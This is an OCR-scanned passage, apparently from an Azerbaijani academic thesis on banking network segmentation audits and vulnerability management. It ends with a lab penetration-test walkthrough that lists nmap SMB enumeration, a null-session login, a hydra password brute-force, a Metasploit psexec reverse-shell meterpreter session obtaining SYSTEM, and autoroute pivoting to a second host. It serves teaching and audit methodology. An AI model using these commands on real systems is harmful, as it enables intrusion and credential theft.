auditinds istirak edon asas addimlardan bazilori asagida gostorilmisdir [32]:

Idhata dairasinin tarifi: Sabokoanin bitin muvafig komponentlarinin audits
daxil olmasini tomin etmok Uglin auditin ohato dairasi muoyyan edilmolidir. Buraya
biitiin soboka cihazlar, serverlar, programlar va istifadagilor daxil ola bilor,

Arxitektura Icmah: Sobokonin nece seqmentloro bolundiyini vo mixtalif
segmentlor arasinda trafikin neco axdigimi basa diismok {i¢lin audit soboka
arxitekturasinin nozordon Kegirilmasi ilo baglamalidir. Bu, soboko topologiyasinin,
VLAN-larin, alt sabokoalorin vo tohliikasizlik duvarlarimin nazardon kegirilmasini
ohato etmolidir. Nozoro almaq lazimdir ki, seqmentlora bolinma zamani eyni
gobildon olan sistemlor bir seqment altinda toplanmalidir. Bank sistemlorindo ATM
(ing. Automated Teller Machine) vo digar eyni tipli terminallar, global O6danis
servislori Ugln istifado olunan serverlor diger masinlardan miitloq sokilds izolyasiya
edilmalidir.

Siyasat va Giriso Nazarat Baxisi: Audit segmentlogdirmani hoyata kegirmok
uclin - movcud olan  tohlikasizlik  siyasatlorini  vo  giris  nozaratlorini
giymatlondirmalidir. Buraya firewall qaydalarinin, VPN konfiqurasiyalarinin, NAC
siyasatlorinin va istifadagi giris nazaratlorinin nazardoan kecirilmasi daxil ola bilar.
Masoalon, NAC sistemlori ¢ox vaxt son négte uygunlugunu qiymsatlondirmok va totbiq
etmok imkanlarini ehtiva edir. Sabokaya giris icazasi vermazdon avval cihazlar an
son antivirus proqrami, amaliyyat sistemi yamaglar1 vo ya xususi konfiqurasiyalar

Kimi tahlikasizlik taloblari tiglin yoxlanilir. Bu, sabokaya qosulan cihazlarin miioyyan
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tohllikasizlik standartlarina cavab vermasini tomin edir, zaifliklorin vo ya uygun
olmayan cihazlarin sobokoya zoror vurmasi riskini azaldir.

Tahllikasizliya Nazarat Baxisi: Audit tohdid vo hiicumlardan gorunmag tgin
movcud olan tohlukasizlik nazarstinin effektivliyini giymatlondirmolidir. Buraya
mudaxilonin agkarlanmast vo qarsisinin alinmasi sistemloarinin, son ndqtonin
qorunmasi va tohllkasizlik monitoring sistemlorinin nozordon kecirilmasi daxil ola
bilor.

Zoifliyin  Qiymatlondirilmasi:  Audit  sobokonin  segmentlosdirilmasi
strategiyasinda sohv konfiqurasiya edilmis tohliikosizlik divarlari, icazasiz giris
noqtalori vo ya yamagsiz sistemlor kimi potensial zaifliklori vo zaifliklori misyyan
etmalidir.

Bosluglarin Tahlili va Tovsiyalar: Auditin naticalorino osason, toskilatin
soboko segmentlosdirmo Strategiyasinin on yaxsi tocribolordon geri qaldigi saholori
muayyan etmoak tigiin bosluq tohlili aparilmalidir. Audit hesabatinda hor hansi askar
edilmis bosluglarin aradan qaldirilmasi  vo sobokonin  segmentlosdirilmasi
strategiyasinin tohllkasizliyinin yaxsilasdirilmasi ti¢iin tovsiyalor daxil edilmalidir.
Sabokanin inkisaf edon tohdid va risklara garsi etibarli vo dayanigli galmasini tamin
etmok 0Ugln toskilatin iimumi tohlikasizlik proqraminin bir hissosi kimi soboko

seqmentasiyasi tohllikasizlik auditi miintazom olaraq aparilmalidir [4].

Bosluglarin askarlanmasi texnologiyasi

Hal-hazirda kritik infrastrukturlar, xiisusilo bank sektoru kiber diinyaya getdikca
daha ¢ox bagli olmaqdadir. Bunun asas sebabi odur ki, “bdyiik aktivlari va sistemlori
program tominati vo soboko protokollarinin komoayi ilo idara etmok insan, texniki
isciloro  etibar etmokdon daha  sorfolidir”.  Comiyyatlorin  kritik — milli
infrastrukturlardan artan asililigi ilo kritik infrastrukturlarin kiber tobioti onlari daha
hossas edir. Bir kritik infrastruktur bir-biri ilo oalageli ¢oxsayli fiziki vo hesablama
sistemlorindon mirokkob malumatlar1 6ziinds birlesdirdiyi iiglin bu, ¢otin olur.

Texniki masalalords fardi komponentlords bosluglarin tapilmasina vo tohliline kdmok
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edon “bosluq skanerlori” istifado olunur. Bu fisullar biitiin sistemin boslugunun
giymatlondirilmasi Uglin vacib zomin yaradir [22].

Boslugla bagli molumatlar adoton ¢oxsayli vo ¢oxsaxali bazalarda, hamginin
yuzlorlo istehsal veb-saytlarinda vo hor gin dorc edilon minlorlo tohlikasizlik
bloglarinda tobii dil ifadalorinds bildirilir, hamginin bosluq skanerlorinin bazasinda
saxlanilir. Coxsayli kibertohllikasizlik hesabatlar1 va billetenlor bosluq gabiliyyatinin
tohlili  Ggun  maxtalif perspektivlior toqdim edir. Bosluglar bazasmin Kkritik
infrastrukturda olan aktivlorda mévcudlugunun yoxlanmasi ti¢lin avtomatlasdiriimis
skan prosesi icra edon “bosluq skaneri” sistemlorindon istifado olunur. Kritik
infrastruktur torkibinds sayilan maliyyo institutlar1 yiiksok dorocods Sartlosdirilmis
miihiti saxlamahidirlar ki, bu da bank sektorunda bosluq skanerindon istifadoni
sortlondirir [9].

Bank sektoru infrastrukturlarinda boslugun idara edilmasinin hayat dévriindn
birinci vo an vacib morhalasi bosluglar {ig¢iin skan edilmali olan bitin muxtalif
aktivlorin (masalon, program tominati, veb proqramlar, omoaliyyat sistemlori, cihazlar)
inventarini tapmaq vo yaratmaq cohdidir. Hortorofli kosf sistemlords va ya totbiglordo
dizgln izlonmayan bosluglarin  oldugu veziyystlordon gagmaq Gcun bu
invertarizasiya vacibdir. Buttn aktivleri hesablamaga komok edon faydali alstlora
sobaka skanerlori, bulud idarsetmo konsollar1 va hatta namalum va ya kélgada galan,
askara ¢ixmamis IT aktivlorini tapa bilon xususi aktiv kosf platformalar1 daxildir.
Hoyat dovrinin iterativ tobioti 0 demokdir ki, inventar quruldugdan sonra bosluq
skanerlari vasitasilo goalacok boslugunun idara edilmasi ddvrlarinin kasf marhalasi
movcud inventarmizi tokmillasdira va ya yenilaya bilor [30].

Kritik informasiya infrastrukturu daxilinds bitun aktivlori nozaro alarsaq ilkin
skan zamani miimkiin bosluglarda say c¢oxlugu olur vo onlarin hamist eyni risk
saviyyasino malik deyil. Prioritetlosdirmo onlarin siddati, potensial tasir vo tosir
etdiyi aktivin doyari kimi amillors asaslanaraq ilk névbads hansi bosluglarin aradan
qaldirilmasinin muisyyan edilmasi prosesidir. Bu, toskilatlara mohdud resurslarini
somarali sokildo bolisdiirmoys kémok edir. Bosluglara tistiinliik verarkon nozoros

alinmali bazi Gmumi amillar asagidakilardir [15]:
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e Ciddilik: Boslugun ciddiliyi onun istismar edildiyi toqdirde gostora bilocayi
potensial tosiro aiddir. Bosluglar adoton asagi, orta, yiiksok vo ya kritik Kimi
ciddilik dorocalori ilo tosnif edilir. Istismar iiciin yiiksok potensiala vo agir
naticalora malik olan kritik bosluqglar daha az ciddi olanlara iistiinliik verilmalidir.
e Istismar qabiliyyati: Bosluglarmn istismar qabiliyyati tocaviizkarin ondan no
godor asanligla yararlana bilacayini gostorir. Tobiotdo istismarlart malum olan va
ya aktiv sokildo istismar edilon bosluglara daha yiiksok Ustunlik verilmalidir,
cunki onlar doarhal tahliiks yaradir.

e Tosiro moruz qalan aktivlor: Boslugun tosir etdiyi aktivlori nozordon
kecirilmolidir. Bank daxili vo ya miistorilor ilo bagli hassas molumatlara sahib
serverloar vo ya maliyya omaliyyatlarini idara edon sistemlor kimi kritik aktivlor
daha az kritik aktivlorlo miigayisodos daha ¢ox digqgoet vo prioritet almalidir.

e Hicum vektoru: Tocaviizkarin boslugdan istifado edo bilocayi hiicum
vektorlarint vo ya yollarin1 qiymatlondirin. ©gor bosluq istifadaginin he¢ bir
alagesi olmadan uzaqdan istifado edilo bilarsa, o, fiziki giris vo ya istifadaginin
qarsiligl alagasini talob edoan zaiflikdon daha kritik hesab edils bilar.

e Potensial tosir: Ugurlu istismarin potensial tasirini giymatlondirin. Malumatin
moxfiliying, bitovliylina vo olgatanligina potensial zarori, homginin biznes
omoliyyatlarina, reputasiyaya vo uygunluq talablarina potensial zorari nazordon
kecirin. Daha yiiksak potensial tasira malik bosluglar daha yiiksok prioritetls hall
edilmalidir.

e Kontekstual faktorlar: Bankin xiisusi kontekstini, o ctimlodon foaliyyat
gOstardiyi maliyys sahasini, tanzimloma talablarini va toskilatin risk gabuletmasini
nozoro alin. Miiayyan bosluglarin xiisusi sonayelor vo ya uygunluq standartlart
uciin daha boyiik shamiyyati va ya hliqugi naticalori ola bilar.

e Patch olgatanligr: Tohlukasizlik yamaqglarinin vo ya yenilomolorin asanligla
aldo olundugu bosluglara tistiinliik verin. Tomir prosesi daha sados vo daha az vaxt
apara bilocayi {iglin mévcud yamaqglart olan bosluglar1 aradan galdirmaq

Umumiyyatlo daha somaralidir.
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Qeyd etmok vacibdir ki, bosluglarin prioritetlogdirilmasi dinamik bir proses
olmalidir. Davamli olaraq yeni bosluglar askar edilir vo tohliiko monzorasi inkisaf
edir, ona goro do dayison risk moanzarasi vo yaranan tohliikalor asasinda prioritetlori
mitomadi olarag yenidan giymotlondirmak va tonzimlomok ¢ox vacibdir [21].

Askarlanmig boslugun aradan galdirilmasi yenilomoalor, yamaglar (patch) vo
sistemo giris nozaratinin tokmillosdirilmasi kimi muxtolif strategiyalari ohato eds
bilor. MiUayyan bir bosluq niimunasinin aradan galdirilmasi saviyyasi muvaqgoti
hallorin, mivaqqgoeti dlzalislorin vo ya rosmi yamaglarin movcud olub-olmamasi
asasinda giymatlondirilir. Duzalislorin mévcudlugu hagqinda moalumat adoton satici
veb-saytlar1 vasitosilo toplanir. Bosluq skaninin on ¢ox yayilmis xabordarliglarindan
biri odur ki, sobakadoki bir va ya bir nega sistem amoliyyat sisteminin va ya tatbigin
kdhnalmis versiyasini isladir vo tohliikasizlik yamalari talob edir [6].

Bank infrastrukturlarinda totbiq edilon bu axtaris sistemlori mixtalif bosluglar
askarlayir. Program tominati vo omoliyyat sistemi tochizatgilart mohsula dastayin
sonunu elan etdikdon sonra kOhnalmis progqram tominatini islotmoys davam edon
toskilatlar 6zlarini shamiyyatli hlicum riski ilo 0z-0izo qoyurlar. Satic1 sadoco homin
tarixdon sonra mohsulda yaranan tohlikssizlik qiisurlarini arasdirmayacaq vo ya
dizaltmoyacok. Skanlar homginin bank sistemlorinds, programlarinda vo cihazlarinda
zoif konfiqurasiya parametrlorini vurgulaya bilor: sistemi istehsala koglrmoazdon
ovval deaktiv edilmali olan administrativ konfiqurasiya sohifalori kimi standart
parametrlorin istifadosi, sistem omaliyyatlarin1 dastoklomok ii¢iin lazim olmayan agiq
portlar va xidmatlor, istifadagilora daxil olmaq imkani veran agiq icazalor bu, an az
imtiyaz prinsipini pozur. Bir ¢ox program inkisaf platformasi, tortibatgilara inkisaf
prosesindoa totbiglorin problemlarini hall etmok ii¢lin lazzim olan miithiim sohv
molumatlarini veran sazlama rejimlarini dastoklayir. Debug rejimi adston programin
vo serverin daxili iglori, hamginin dostokloyici verilonlor bazasi haqqinda otrafli
molumat verir. Bu malumat tortibatgilar tiglin faydali ola bilsa da, malumat bazasinin
strukturu, totbiq torafindon istifado edilon autentifikasiya mexanizmlori vo ya digor
detallar hagqinda molumat oldo etmoak istoyan tocaviizkarlara tesadiifon kémok edo
bilor [31].
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Bosluglarin  idars olunmasi auditi bankin bosluglarin idaros edilmasi
praktikalarinin, proseslarin va nozarat vasitalorinin giymatlondirilmasi vo ya nozordon
kecirilmasidir. Auditin magsadi bosluqglarin idars edilmasi programinin effektivliyini
Vo adekvathigini qiymoatlondirmok va tokmillosdirilmoasi lazim olan sahalori mioyyan
etmokdir. Bu, toskilatlara bosluglarin idaro edilmasi saylorinin sanayenin an yaxsi
tacriibalori va tonzimlayici taloblora uygun olmasini tomin edir [30].

e Planlasdirma vo ohato dairasinin torifi: Auditin mogsadlarini vao hacmini
mioayyan edin. Buraya giymatlondirilacak sistemlarin, sabakalorin va tatbiglorin,
habelo yoxlanilacaq xiisusi boslugun idaro edilmasi proseslarinin vo nozarat
vasitalorinin miayyan edilmosi daxildir. Unudulmus va ya IT amokdasi torafindon
IT aktivlori siyahisinda togdim edilmomis sistemlor olmamalidir.

e Siyasatlorin vo Prosedurlarin nazardon kegirilmosi: Bankin bosluglarin idara
edilmasi siyasatlorini, prosedurlarint vo tolimatlarint nazardon kegirilmalidir.
Onlarin hartorofli, miasir vo maliyys standartlarina vo tonzimlayici taloblora
uygun olub olmadigini qiymatlondirin. Onlarin rollari, masuliyyatlori va boslugun
idara edilmasine iimumi yanagmani aydin sokildo mdioyyon edib-etmadiyini
giymatlondirilmalidir.

e Boslugun test vo skan proseslorinin giymatlondirilmasi: Bankin bosluglarin
skan edilmasi vo smaqgdan kegirilmasi proseslarinin giymatlondirilmasi. Bu,
zoifliyin skan edilmosi, nifuzetms testi vo kodun nozordon kegirilmasi Ugun
istifado olunan alatlorin vo {isullarin nazardon kecirilmosini ohato edir. Bu
proseslorin miintazom olaraq hoayata kecirildiyini qiymotlondirin, lazimi aktivlori
ohats edin va bosluglar effektiv sokildo misyyanlosdirin.

e Boslugun prioritetlosdirilmasi vo aradan qaldirilmasiin aragdirilmasi: Kritik
informasiya infrastrukturunun  boslugun prioritetlosdirilmasi vo  aradan
qaldirilmast tacribalori nazordon kegirilmolidir. Bosluglarin siddstine gora neco
giymeatlondirildiyini, prioritetlosdirmonin neca miayyan edildiyini vo barpa
prosesinin effektivliyini giymatlondirilir. Boslugun aradan qaldirilmasi saylarinin
gedisatin1 izlonmali vo monitoring etmak {igiin aydin proseslarin mévcud olub

olmadigint qiymatlondirilmalidir.
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e Yamagqlarin Idaro Edilmosi Tocriibolorinin - Qiymatlondirilmosi: Bankin
yamaqlarin idaro edilmasi tocriibalori vo proseslori giymatlondirilmalidir.
Tohllkesizlik yamaqlarmin  vo yenilomalorinin  neco muoayyon edildiyini,
giymatlondirildiyini vo yerlosdirildiyini nazardon kegirilir. Bosluglarin vaxtinda
dizoldilmasi Gglin mioyyan edilmis prosedurlarin olub-olmadigini vo bankda
yamaq soviyyalorini izlomok {iglin sistemin movcud olub olmadigini
giymatlondirilmalidir.

e Tapmtilarin vo TOvsiyalorin mioyyan edilmasi: Audit zaman1 askar edilmis har
hans1 bosluqglari, zoif cohotlori vo ya siyasot vo ya gaydalara uygunsuzlugu
muioayyon edilir. Boslugun idara edilmasi proqgramini tokmillogdirmoak Ugln
horokoto kego bilon addimlar da daxil olmaqla, tokmillogsdirmo Uglin tOvsiyalor
togdim edilmoalidir [30].
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III FOSIL. NUFUZETMO TESTI iLO XUSUSI AUDITIN APARILMASI
METODIKASI

Nufuzetma testlori ilo kritik informasiya infrastrukturunda muxtslif konfidensial
molumatlarin oldo edilmasine fokuslanmis audit tapintilari bas verir. Bu kéhnolmis
servislorin baglanmamasi, giriso nhozarotin dizgin toskil edilmomosi vo digor
informasiya tohllikasizliyi qaydalari, siyasatlorinin pozulmasi halinda bas vera bilor.
Laboratoriya muhitindo nufuzetmos testi vo molumatlarin oldo edilmasi prosesi
gOstarilmisdir. Miihitdo 6ncadan malum olan demo.ine.local vo demol.ine.local adli
iki masin qeyd olunmusdur. Masinlarda SMB (Server Mesaj Bloku; Server Message

Block) protokolunda olan boslugdan istifads edarok kritik malumatlar alds edilocok.

3.1 SMB boslugundan istifads edarak serverds seans alds edilmosi

Laboratoriyada dncodoan toqdim olunan masin/domenin algatan olub olmadigini
yoxlaym (Sokil 3.1).

ping demo.ine.local

ping demol.ine.local

root@INE:~# ping demo.ine.local

PING demo.ine.local |{(10.0.17.62)| 56(84) bytes of data.

64 bytes from demo.ine.local (10.0.17.62): icmp_seq=1 ttl=125 time=56.2
64 bytes from demo.ine.local (10.0.17. : lcmp_seq=2 ttl1=125 time=55.4
64 bytes from demo.ine.local (10.0.17. : icmp_seq=3 ttl1=125 time=55.4
64 bytes from demo.ine.local (10.0.17. : icmp_seq=4 tt1=125 time=55.5
64 bytes from demo.ine.local (10.0.17. : icmp_seq=5 ttl=125 time=56.5
nC

--- demo.ine.local ping statistics

5 packets transmitted, 5 received, 0% packet loss, time 4006ms

rtt min/avg/max/mdev = 55.394/55.814/56.526/0.466 ms

root@INE:~# ping demol.ine.local

PING demol.ine.local| (10.0.22.69)| 56(84) bytes of data.

2€

--- demol.ine.local ping statistics ---

1 packets transmitted, 0 received, 100% packet loss, time Oms

root@INE: ~# |

Sakil 3.1. Ping testi
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Yalniz bir tomin edilmis masin olgatandir, yoni demo.ine.local vo biz hodsfin IP

unvanlarini da tapdigq.
demo.ine.local masininda agiq portlart yoxlayiriq (Sakil 3.2).

nmap demo.ine.local

root@INE:—~# nmap demo.ine.local

Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-12 23:36 IST
Nmap scan report for demo.ine.local (10.0.17.62)
Host is up (0.057s latency).

Not shown: 990 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

3389/tcp open ms-wbt-server

49152/tcp open unknown

49153/tcp open unknown

49154 /tcp open unknown

49155/tcp open unknown

49160/tcp open unknown

49161/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 2.76 seconds
root@INE:~# |}

Sokil 3.2. Nmap ilo aciq portlar agkarlanmasi

demo.ine.local masminda c¢oxlu portlar agiqdir. Biitiin portlar Windows amoaliyyat
sisteminin asas xidmatlorini, yani SMB, RDP (Remote Desktop Protocol) va s.

protokollari ehtiva edir. Biz SMB xidmatinoa hiicumlar hayata kegiracayik.

SMB protokolu

Server Mesaj Bloku (SMB) protokolu komplterdoki totbiglora fayllar1 oxumaq vo
yazmaq Vo kompiiter sabokasindaki server proqramlarindan xidmatlor tolob etmok
imkan1 veron soboko fayl paylasma protokoludur. SMB protokolu TCP/IP
protokolunun vs ya digar saboka protokollarinin iistiinds istifads edilo bilor. SMB
protokolundan istifads edarok program (va ya proqramin istifadagisi) uzaq serverdoki
fayllara vo ya digor resurslara daxil ola bilor. Bu, programlara uzaq serverdoki
fayllar1 oxumaga, yaratmaga vo yenilomoys imkan verir. SMB homginin SMB
miistori sorgusunu qobul etmak {i¢iin qurulmus istonilon server proqramu ilo alage

saxlaya bilar.
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Susmaya gbro SMB xidmoti ya 139, ya da 445 portundan istifado edir.
Homgcinin, o, standart olarag har bir Windows amaliyyat sistemindo qurasdirilib vo
movcuddur. Bununla belo, biz onu sistemdon sondiro vo ya silo bilorik. SMB
protokolunun bir nego versiyasi var (SMB1, SMB 2.0, SMB 2.1, SMB 3.0, SMB
3.1.1,vas)

SMBvV1 kimi kéhna protokoldan istifads etmoklo, siz avvalcadon autentifikasiya
butovllyl, tohllkasiz dialekt damisiglari, sifroloms, gilvensiz qonaq girislarini
sondurmok vo tokmillogdirilmis mesaj imzalama kimi qorumalari itirirsiniz.
Microsoft miistariloro SMBv1-dan istifadoni dayandirmag: tovsiys etdi, ¢unki o, son
doaraca hassasdir vo moalum istismarlarla doludur. Taninmis ransomware hiicumu olan
WannaCry, digar sistemlori yoluxdurmagq iigiin SMBv1 protokolundaki bosluglardan
istifads etdi. Tohlikasizlik risklorino géro SMBvV1 dostayi deaktiv edilib.

SMBvV1 kéhna Windows amaliyyat sisteminds istifado olunur. Bununla bels, o,
hala do an son Windows OS-do mévcuddur. Windows registrlarini doyisdirarak biitiin
SMB versiyalarin1 sondiiro/aktiv edo bilorik. SMBv1-don sonra butin versiyalar
aglabatan tohlUkasizdir. Digor versiyalar giivensiz qonaq girislarini (guest login)
sondurmoak, avvalcodon autentifikasiya butovluyl, tohliikesiz dialekt danisiglari,
sifroloma kimi bir ¢ox tohlikasizlik muhafizosini tomin edir.

SMB protokolunun sadalanmasi vo istismarini hoyata kecgirok. Protokol hagqinda
otrafli molumat aldo etmok Giglin nmap-1 445-ci portda igo salaq(Sakil 3.3).
nmap -sV -p 139,445 demo.ine.local

root@INE:~# nmap -sV -p 139,445 demo.ine.local

Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-12 23:36 IST
Nmap scan report for demo.ine.local (10.0.17.62)

Host is up (0.057s latency).

STATE SERVICE VERSION

open netbios-ssn Microsoft Windows netbios-ssn

open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

Info: 0Ss: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.92 seconds
root@INE:~# |j

Sokil 3.3. SMB protokolunun sadalanmasi
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Hor iki port hagqinda moalumat alds etmisik. Homginin, hadafin Microsoft Windows
Server 2008 R2 - 2012 oldugunu miiayyan etdi.

Indi hodof masinda dastoklonan biitiin SMB versiyalarin1 miioyyon edok. Sokil 3.4-do
gostarildiyi kimi nmap skriptindan istifado edarak onu tez bir zamanda misyyan eda
bilarik:

nmap -p445 --script smb-protocols demo.ine.local

root@INE:~# nmap -p445 --script smb-protocols demo.ine.local
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-12 23:36 IST
Nmap scan report for demo.ine.local (10.0.17.62)

Host is up (0.056s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
| smb-protocols:
dialects:
NT LM 0.12 (SMBv1l) [dangerous, but default]
2.02

3.00

|
|
|
| 2.10
|
|_ 3.02

Nmap done: 1 IP address (1 host up) scanned in 7.26 seconds
root@INE:~# |}

Sakil 3.4. SMB versiyasinin miiayyanlosdirilmasi
Hor ii¢ versiyanin al¢atan oldugunu gora bilarik.

Protokolun tahlikasizlik saviyyasini tapmaq Gctin smb protokolu dglin daha bir
forqli nmap skripti var. Sokil 3.5-do gOstorildiyi kimi SMB protokolunun

tohliikasizlik saviyyasini tapmagq Ugiin nmap skriptini iso salag.

nmap -p445 --script smb-security-mode demo.ine.local
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root@INE:~# nmap -p445 --script smb-security-mode demo.ine.local
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-12 23:37 IST
Nmap scan report for demo.ine.local (10.0.17.62)

Host is up (0.056s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
smb-security-mode:
account_used: guest

challenge_response: supported

|

| authentication_level: user

|

| _ message_signing: disabled (dangerous, but default)

Nmap done: 1 IP address (1 host up) scanned in 1.67 seconds
root@INE:~# |

Sakil 3.5. SMB tohliikasizlik saviyyasionaq istifadagidon (guest user

Qonaq istifadoagidon (guest user) istifado edorok hodof SMB serverino daxil
olmaga ¢alisdiq. SMB tohliikasizlik saviyyasi hagqinda moalumat alindi.

Bu, nmap skriptinin biitiin smb skript skan1 ii¢iin qonaq istifadoacidon istifado
etdiyini aydinlagdirir. Basqa bir istifadogini do miayyan eds bilorik. Ancaq hodof
masina daxil olmagq ii¢lin etibarli etimadnamays ehtiyacimiz var.

Qonaq istifadagi bitin  Windows omoliyyat sistemlorinde  mdvcud standart
istifadacidir.

Tocaviizkarin hodof masinda etibarli etimadnamosi varsa. Sonra omrin icrasi
mumkundar. Bu, istifadogi imtiyazindan asilidir.

Null Sessiya var oldugunu anonim icazo (Anonymous) istifado edarok hadof masina
daxil olaq (Sakil 3.6).

smbclient -L demo.ine.local

Enter WORKGROUP\root's password: <enter>
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root@INE:~# smbclient -L demo.ine.local
Enter WORKGROUP\root's password:
Anonymous login successTful

Sharename Type Comment
ADMINS Disk Remote Admin
Cs Disk Default share
Documents Disk
Downloads Disk
IPCS$ IPC Remote IPC
prints$ Disk Printer Drivers
Public Disk
SMB1 disabled -- no workgroup available
root@INE:~# |}

Saokil 3.6. Null sessiyanin yoxlanmasi

Anonim girisdon istifado edorok hodofo daxil ola bilorik. Sokil 3.7-do
gostarildiyi  kimi nmap skriptindan istifado edorok bitiin  mévcud Windows
istifadacilorini rahat sokilds alds eda bilarik.

nmap -p445 --script smb-enum-users.nse demo.ine.local

root@INE:~# nmap -p445 --script smb-enum-users.nse demo.ine.local
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-12 23:37 IST
Nmap scan report for demo.ine.local (10.0.17.62)

Host is up (0.056s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds

Host script results:
| smb-enum-users:
| ATTACKDEFENSE\admin (RID: 1009)
Flags: Password does not expire, Normal user account
ATTACKDEFENSE\Administrator (RID: 500)
Description: Built-in account for administering the computer/domain
Flags: Password does not expire, Normal user account

Description: Built-in account for guest access to the computer/domain
Flags: Account disabled, Password does not expire, Password not required, Normal user account
ATTACKDEFENSE\root (RID: 1010)

|

l

|

| ATTACKDEFENSE\Guest (RID: 501)

|

|

= Flags: Password does not expire, Normal user account

Nmap done: 1 IP address (1 host up) scanned in 4.52 seconds
root@INE:~# Ji

Sakil 3.7. Windows istifadagilorinin tapilmasi

Umumilikda dord istifadaci var: admin, administrator, root va guest

guest vo administrator istifadogilori daxili hesablardir.
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Indi bu istifadagilor igin diizgiin parolu tapag. Tomin edilmis istifadagilorin
etibarl1 parolunu tapmagq iigiin SMB protokolunu brute-force etmok tg¢tin hidra alatini
isladilir (Sokil 3.8).

hydra -L users.txt -P /usr/share/metasploit-

framework/data/wordlists/unix_passwords.txt demo.ine.local smb

root@INE:~# hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo.ine.local smb
Hydra v9.1 (c¢) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
urposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-12 23:38:41

[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)

[DATA] max 1 task per 1 server, overall 1 task, 3027 login tries (1:3/p:1009), ~3027 tries per task
DATA] attacking smb://demo.ine.local:445/

[

[ 10 1 host: login: password:

[ 10 ] host: login: password:

[ 1 ] host: login: password:

1 of 1 target successfully completed, 3 valid passwords found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-12 23:39:08
root@INE:—# ||

Sokil 3.8. Istifadaci parollarinin tapilmasi

Hor (g istifadagi tigiin parollari ugurla oldo edildi. Metasploit ¢argivasindoan
(framework istifado eds vo administrator istifadagisinin etibarli parolundan istifado
edorok meterpreter qabigini (shell) alda etmok ti¢iin psexec modulunu islads bilarik.
(Microsoft Windows Authenticated User Code Execution). Bu modul ixtiyari amrlori
yerina yetirmok iiglin dogru administrator istifadagi adi vo parolundan (va ya parol
hesindoan) istifads edir (Sakil 3.9).

msfconsole -q

use exploit/windows/smb/psexec
set RHOSTS demo.ine.local

set SMBUser administrator

set SMBPass passwordl

exploit
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root@INE:~# msfconsole -q
msf6 > use exploit/windows/smb/psexec
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msfé exploit( ) =
msf6 exploit( > set RHOSTS demo.ine.local
RHOSTS => demo.ine.local
msf6 exploit(
msf6 exploit( set SMBUser administrator
SMBUser => administrator

msf6 exploit(

msf6 exploit( set SMBPass passwordl
SMBPass => passwordl

msf6 exploit(

msf6 exploit( exploit

Started reverse TCP handler on 10.10.15.2:4444

10.0.17.62:445 - Connecting to the server...

10.0.17.62:445 - Authenticating to 10.0.17.62:445 as user 'administrator'...

10.0.17.62:445 - Selecting PowerShell target

10.0.17.62:445 - Executing the payload...

10.0.17.62:445 - Service start timed out, OK if running a command or non-service executable...
Sending stage (175174 bytes) to 10.0.17.62

Meterpreter session 1 opened (10.10.15.2:4444 -> 10.0.17.62:49251) at 2022-01-12 23:40:33 +0530

meterpreter > |

Sakil 3.9. Seans alda edilmasi

Meterpreter seanst ugurla alindi. Bundan sonra hodof masin molumatlari,
mosalon, cari istifadaci, sistem molumati va s. alda edilir. Malumat alds etmok Gglin

istifado olunan Windows amrlari va naticalari sokil 3.10-da gostorilmisdir.

getuid ;sysinfo

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > sy51nfo
ATTACKDEFENSE
: Windows 2012 R2 (6.3 Build 9600).
Architecture : X64

System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows

meterpreter > |}

Sakil 3.10. Windows malumat amrlori

Aydin olur ki, hadof Windows serverini isladir vo biz masinda "SISTEM" (vo ya

"NT Authority") imtiyazlar1 olan meterpreter seansi almisigq.
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Olo kegirilmis hostdan demol.ine.local-a daxil ola bildiyimizi yoxlaymn.
Biz demol.ine.local host {iglin IP tinvanini bilmoliyik. Hodofloro birbasa ping
etdikdo, bu hadof masinlarin IP iinvanlar1 askar olmusdu:

1. demo.ine.local: 10.0.17.62
2. demol.ine.local: 10.0.22.69

10.0.22.69-a ping atmagla vo onun ikinci masindan slgatan oldugunu yoxlayaq (Sakil
3.11).

shell
ping 10.0.22.69

meterpreter > shell
Process 1228 created.

Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>ping 10.0.22.69
ping 10.0.22.69

Pinging 10.0.22.69 with 32 bytes of data:

Reply from 10.0.22.69: bytes=32 time<lms TTL=128
Reply from 10.0.22.69: bytes=32 time<lms TTL=128
Reply from 10.0.22.69: bytes=32 time<lms TTL=128
Reply from 10.0.22.69: bytes=32 time<lms TTL=128

Ping statistics for 10.0.22.69:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:

Minimum = Oms, Maximum = Oms, Average = 0Oms

C:\Windows\system32>}}

Sokil 3.11. ikinci masina olgatanligin yoxlanmasi

3.2 Marsrutlama metodu ilo hadsof masindan kritik molumatlarin toplanmasi

Biz digoer masina (10.0.22.69) Kali masinindan daxil ola bilmirik. Belsliklo,
burada Metasploit ¢orgivesindon marsrut olave edorok icra omoliyyatini hoyata
kecirmaliyik. Sakil 3.12-do gosterildiyi kimi Meterpreter seansindan istifado edarok

marsrutu alave edok vo ikinci masin xidmat vo servisini miayyon edok.
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CTRL+C

Y

run autoroute -s 10.0.22.69/20

C:\Windows\system32>"C
Terminate channel 2?7 [y/N] vy
meterpreter > run autoroute -s 10.0.22.69/20

Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.

